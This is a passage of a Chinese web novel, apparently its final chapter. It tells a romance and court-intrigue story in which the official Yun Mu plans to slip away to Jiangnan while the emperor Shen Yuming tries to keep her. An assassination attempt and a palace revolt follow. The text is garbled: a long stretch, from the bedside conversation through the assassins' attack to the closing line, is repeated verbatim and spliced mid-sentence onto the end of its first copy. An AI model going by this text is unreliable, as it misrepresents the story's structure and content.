沈聿明没把文竹的话当一回事,接过信看了一眼,腾地站起,耳根红了一片。 很快,一个月白色的身影悄悄从宫里溜出,往城南的方向去了。 云暮拍了拍手上的灰尘,被灰尘呛得到打了好几个喷嚏。 “都收拾得怎么样了?” 砚石拿着册子清点箱子里的东西,闻言,答道:“回大人,都整理得差不多了。” 云暮这才放心地瘫在躺椅上,“你叫几个人过来,命他们先将东西送去江南,这两日我们尽快追上他们。” 江南?云暮她要回江南? 沈聿明心头那股被云暮撩起的火顿时被浇灭,手中的信也被攥得皱巴巴。 文竹默默地远离了他,生怕被殃及。 沈聿明忍了又忍,最后扬起一个笑,敲开了入云居的大门。 “府中乱糟糟的,你们在忙些什么。” 云暮神色如常地把人迎进府中,“没什么,当初离开和回来太过匆忙,都没能抽出时间收拾,正好今日无事,便让他们将库房里的东西搬出来晒晒。” 她的话如刀一般,一点一点剜着他的心,沈聿明也只是笑道:“那我们可谓是心有灵犀一点通,方才朕也让他们将勤政殿里的东西都整理了一回。该擦的擦,该换的换。” 云暮看向他身后,“你怎么出宫了?还没带侍卫。” 沈聿明不以为意:“光天化日之下,谁敢对朕动手,不想要脑袋了?” 云暮意有所指,“这可说不准。他们拼一把,没准他们不仅不用掉脑袋,还能捡个皇位当当。” 沈聿明想到了几个人,心里也有了成算,他嗤笑了一声,“只怕是他们有贼心没贼胆,再说了,还有你在呢,定能护朕周全。” 有辛百草和梁文帝的药在,云暮的身子一日比一日好,体内的寒毒也一点一点解了,只是因她年少时服过不少毒药,想要完全解毒,这得下更多的功夫。 沈聿明拉过她的手腕,仔细替她号起脉,但还是没有诊出任何症状。 第二百八十章 (完结章 ) 又要始乱终弃吗? 沈聿明仰躺在她腿上,忽然说道:“宫里只有我一人你进宫陪我可好?” 云暮不知该如何回答,宫中的夜又长又冷,宫墙又高又长,能困住所有人的一生,她不想再回到那个地方。 况且她已经决定好了,明日带着砚石他们回江南。十五和安叔在江南等了她许久,也该回去了。 云暮的沉默已经告诉了他答案,沈聿明拉过她的手,盖在了他的眼上,也遮住了他眼底的阴翳。 “罢了,我不过这么一说,你既不愿,我也不会勉强你。今日本就是忙里偷闲出宫看看你,宫里还有事等着处理,我先回去了。” 云暮摁住想要起身的沈聿明,弯下腰再他额上落下一吻,“别让自己太累。” 沈聿明不知该不该说她心狠,事到如今,她还能装作一副什么都没有发生的模样,将他蒙在鼓里,沈聿明不得不佩服她的演技。 “今日我将公务处理完,明日我来寻你,我们一道出城走走,可好?” 云暮到底还是不忍,她点头应下:“好,我在府中等你。” 不过一眨眼,第二日便到了。 云暮尚在睡觉,手上忽然多了暖意,还有熟悉的雪松香。她迷迷糊糊地握住,往床边靠了靠,“你来了,什么时辰了?” 沈聿明给她掖好被角,“不急,时候还早,你接着睡。” 云暮眼睛未睁,她往里挪了挪,“你也躺上来。” 而后她又补上一句,“冷。” 沈聿明的手放在外衣的扣子上,好一会儿都没有动作,最后他叫来下人,“去灌几个汤婆子。” 云暮察觉出沈聿明的情绪不对,她睁开眼,“怎么了?” 沈聿明淡淡道:“什么怎么了?” 云暮坐直了身子,“一大早的,谁惹你了?” 沈聿明深吸了一口气,恢复了从前那副温润的模样,“无事,只是朝中事务太多,有些犯人罢了。”说罢,他揉了揉眉心。 云暮盯着他眼下的青黑,把人往床里带,“手底下养着的那些人是干什么吃的,处理不完就丢给他们做便是,何苦把自己弄得这么累。” 指腹轻轻擦过沈聿明的眼,带着熟悉的暖香。 沈聿明自嘲一笑,“我最想要的是你,可你不愿。” 云暮打着哈哈,用锦被蒙住沈聿明的头,“皇上,草民好不容易偷的浮生半日闲,你可饶了我吧。” 沈聿明将手横在云暮的腰上,一点一点收紧,好似这般就能把人抓住。 直到宫门落钥,沈聿明还赖在入云居不走。今日他们出去后,陈文带着府中的大半小厮先带着东西南下,如今入云居空荡如无人居住,云暮不禁有些心虚,生怕沈聿明忽然问起。 沈聿明恍若不觉,捧着一本书坐在榻上看得入迷,不时和云暮讨论几句。 最后还是在云暮的再三催促下,他恋恋不舍地放下书,“下次出宫尚且不知是何时,你就不能多留我一会儿。” 云暮推着人往外走,“草民可不敢误了皇上您的事,否则明日早朝,御史的唾沫星子就要把草民淹死了。倘若有胆大的,能将草民沉了塘砍了首再禀明皇上。”“我看谁敢?”沈聿明的声音陡然变冷。 云暮擒拿卢靖,摧毁东胡和梁今越的阴谋,揭穿崔府与东胡的暗中勾结,桩桩件件都够她官复原职。 但她并未接受入朝为官的圣旨,让朝中的那些大臣都松了一口气。凭着沈聿明对云暮的看重,若他再为官,只怕是只手遮天。 但沈聿明最后还是给了她一张盖了玉玺的空白圣旨。 云暮抚着他的背,给他顺气,“我不过是说笑,你何必当真。你瞧瞧如今我没有官职,又有谁来触我霉头。” 沈聿明心知他们不时不来,而是不敢,他们怕惹恼了云暮,她一气之下应了那道圣旨。 “好啦,你先回宫,往后得闲再出来寻我就是。” 往后?她都要回江南了,他们哪还有什么往后?就算有,他也不可能再放云暮离开他半步。 沈聿明嗯了一声,一点一点挪出了入云居,脚才踏上马车,马车顿时四分五裂,几个黑衣人从破碎的马车飞了出来。 “狗皇帝,去死。” 几十名刺客分成三队,一队攻向沈聿明,一队攻向云暮,另一队则直奔入云居的书房。 云暮在家中并不配剑,这些时日莫说刺杀,就是一个说她闲话的人都没有,她警惕心降了许多,连腰间的软剑都解了。 眼下变故突生,她手无寸铁,只能徒手相搏。 她一记手刀劈向一个刺客的手腕,另一只手则接住往下掉落的剑。掂了掂剑,虽比不得她的配剑,但也还能用。 看见沈聿明被人包围,云暮一剑砍了刺客的手,将他的剑掷向沈聿明,“明熹,接着。” 入云居的小厮已经走了大半,留下的也多是只会些拳脚功夫,比不得这些杀惯了人的刺客。 沈聿明今日是微服私访,只带了文竹一人。双拳难敌四手,几人慢慢落了下风。 书房外放小厮已经倒下,血迹染红了地砖。那张空白的圣旨就在书房,这些人是冲着它而来,云暮担忧地看了一眼沈聿明,命砚石去护着对方,她则转身朝书房而去。 …… 不知过了多久,入云居的刺客被尽数杀尽,而远处开始亮起火光。 沈聿明沉声道:“有人往宫里去了。” 沈聿明的继位的圣旨虽是梁文帝亲手所书,但还是引了旁人的不满,其中就有七皇子。 他自认才智谋略不输沈聿明,但梁文帝却不曾正眼瞧他,是以沈聿明继位后,他还在暗中联系那些不服沈聿明之人,欲与对方联手,一道把沈聿明从那个位置上拉下来。 但他注定不能成功。 兵荒马乱之际,沈聿明策马带着云暮赶回皇宫。云暮心中一喜,如此混乱,她可借此脱身。 于是,她趁着沈聿明不备冲进厮杀的人群里,又夺了一个士兵的衣物披在身上,一点一点往后撤。 忽而,一柄长剑插入她身侧的墙上,拦住了她的去路。 “云大人,你又要始乱终弃吗?”沈聿明仰躺在她腿上,忽然说道:“宫里只有我一人你进宫陪我可好?” 云暮不知该如何回答,宫中的夜又长又冷,宫墙又高又长,能困住所有人的一生,她不想再回到那个地方。 况且她已经决定好了,明日带着砚石他们回江南。十五和安叔在江南等了她许久,也该回去了。 云暮的沉默已经告诉了他答案,沈聿明拉过她的手,盖在了他的眼上,也遮住了他眼底的阴翳。 “罢了,我不过这么一说,你既不愿,我也不会勉强你。今日本就是忙里偷闲出宫看看你,宫里还有事等着处理,我先回去了。” 云暮摁住想要起身的沈聿明,弯下腰再他额上落下一吻,“别让自己太累。” 沈聿明不知该不该说她心狠,事到如今,她还能装作一副什么都没有发生的模样,将他蒙在鼓里,沈聿明不得不佩服她的演技。 “今日我将公务处理完,明日我来寻你,我们一道出城走走,可好?” 云暮到底还是不忍,她点头应下:“好,我在府中等你。” 不过一眨眼,第二日便到了。 云暮尚在睡觉,手上忽然多了暖意,还有熟悉的雪松香。她迷迷糊糊地握住,往床边靠了靠,“你来了,什么时辰了?” 沈聿明给她掖好被角,“不急,时候还早,你接着睡。” 云暮眼睛未睁,她往里挪了挪,“你也躺上来。” 而后她又补上一句,“冷。” 沈聿明的手放在外衣的扣子上,好一会儿都没有动作,最后他叫来下人,“去灌几个汤婆子。” 云暮察觉出沈聿明的情绪不对,她睁开眼,“怎么了?” 沈聿明淡淡道:“什么怎么了?” 云暮坐直了身子,“一大早的,谁惹你了?” 沈聿明深吸了一口气,恢复了从前那副温润的模样,“无事,只是朝中事务太多,有些犯人罢了。”说罢,他揉了揉眉心。 云暮盯着他眼下的青黑,把人往床里带,“手底下养着的那些人是干什么吃的,处理不完就丢给他们做便是,何苦把自己弄得这么累。” 指腹轻轻擦过沈聿明的眼,带着熟悉的暖香。 沈聿明自嘲一笑,“我最想要的是你,可你不愿。” 云暮打着哈哈,用锦被蒙住沈聿明的头,“皇上,草民好不容易偷的浮生半日闲,你可饶了我吧。” 沈聿明将手横在云暮的腰上,一点一点收紧,好似这般就能把人抓住。 直到宫门落钥,沈聿明还赖在入云居不走。今日他们出去后,陈文带着府中的大半小厮先带着东西南下,如今入云居空荡如无人居住,云暮不禁有些心虚,生怕沈聿明忽然问起。 沈聿明恍若不觉,捧着一本书坐在榻上看得入迷,不时和云暮讨论几句。 最后还是在云暮的再三催促下,他恋恋不舍地放下书,“下次出宫尚且不知是何时,你就不能多留我一会儿。” 云暮推着人往外走,“草民可不敢误了皇上您的事,否则明日早朝,御史的唾沫星子就要把草民淹死了。倘若有胆大的,能将草民沉了塘砍了首再禀明皇上。”“我看谁敢?”沈聿明的声音陡然变冷。 云暮擒拿卢靖,摧毁东胡和梁今越的阴谋,揭穿崔府与东胡的暗中勾结,桩桩件件都够她官复原职。 但她并未接受入朝为官的圣旨,让朝中的那些大臣都松了一口气。凭着沈聿明对云暮的看重,若他再为官,只怕是只手遮天。 但沈聿明最后还是给了她一张盖了玉玺的空白圣旨。 云暮抚着他的背,给他顺气,“我不过是说笑,你何必当真。你瞧瞧如今我没有官职,又有谁来触我霉头。” 沈聿明心知他们不时不来,而是不敢,他们怕惹恼了云暮,她一气之下应了那道圣旨。 “好啦,你先回宫,往后得闲再出来寻我就是。” 往后?她都要回江南了,他们哪还有什么往后?就算有,他也不可能再放云暮离开他半步。 沈聿明嗯了一声,一点一点挪出了入云居,脚才踏上马车,马车顿时四分五裂,几个黑衣人从破碎的马车飞了出来。 “狗皇帝,去死。” 几十名刺客分成三队,一队攻向沈聿明,一队攻向云暮,另一队则直奔入云居的书房。 云暮在家中并不配剑,这些时日莫说刺杀,就是一个说她闲话的人都没有,她警惕心降了许多,连腰间的软剑都解了。 眼下变故突生,她手无寸铁,只能徒手相搏。 她一记手刀劈向一个刺客的手腕,另一只手则接住往下掉落的剑。掂了掂剑,虽比不得她的配剑,但也还能用。 看见沈聿明被人包围,云暮一剑砍了刺客的手,将他的剑掷向沈聿明,“明熹,接着。” 入云居的小厮已经走了大半,留下的也多是只会些拳脚功夫,比不得这些杀惯了人的刺客。 沈聿明今日是微服私访,只带了文竹一人。双拳难敌四手,几人慢慢落了下风。 书房外放小厮已经倒下,血迹染红了地砖。那张空白的圣旨就在书房,这些人是冲着它而来,云暮担忧地看了一眼沈聿明,命砚石去护着对方,她则转身朝书房而去。 …… 不知过了多久,入云居的刺客被尽数杀尽,而远处开始亮起火光。 沈聿明沉声道:“有人往宫里去了。” 沈聿明的继位的圣旨虽是梁文帝亲手所书,但还是引了旁人的不满,其中就有七皇子。 他自认才智谋略不输沈聿明,但梁文帝却不曾正眼瞧他,是以沈聿明继位后,他还在暗中联系那些不服沈聿明之人,欲与对方联手,一道把沈聿明从那个位置上拉下来。 但他注定不能成功。 兵荒马乱之际,沈聿明策马带着云暮赶回皇宫。云暮心中一喜,如此混乱,她可借此脱身。 于是,她趁着沈聿明不备冲进厮杀的人群里,又夺了一个士兵的衣物披在身上,一点一点往后撤。 忽而,一柄长剑插入她身侧的墙上,拦住了她的去路。 “云大人,你又要始乱终弃吗?”